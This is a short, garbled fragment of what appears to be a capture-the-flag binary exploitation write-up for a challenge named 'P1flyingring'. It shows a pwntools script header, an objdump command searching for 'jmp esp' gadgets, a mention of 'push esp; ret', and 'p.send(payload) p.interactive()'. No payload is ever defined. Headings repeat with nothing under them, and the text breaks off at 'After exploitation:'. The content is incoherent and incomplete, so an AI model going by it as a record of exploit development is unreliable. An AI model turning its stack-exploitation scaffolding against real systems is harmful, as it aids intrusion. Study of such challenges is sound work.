P1flyingring < 2027 >

In main() :

#!/usr/bin/env python3 from pwn import * p1flyingring

objdump -d p1flyingring | grep "jmp esp" → none in binary. Check libc or use push esp; ret : In main() : #

p.send(payload) p.interactive()

After exploitation: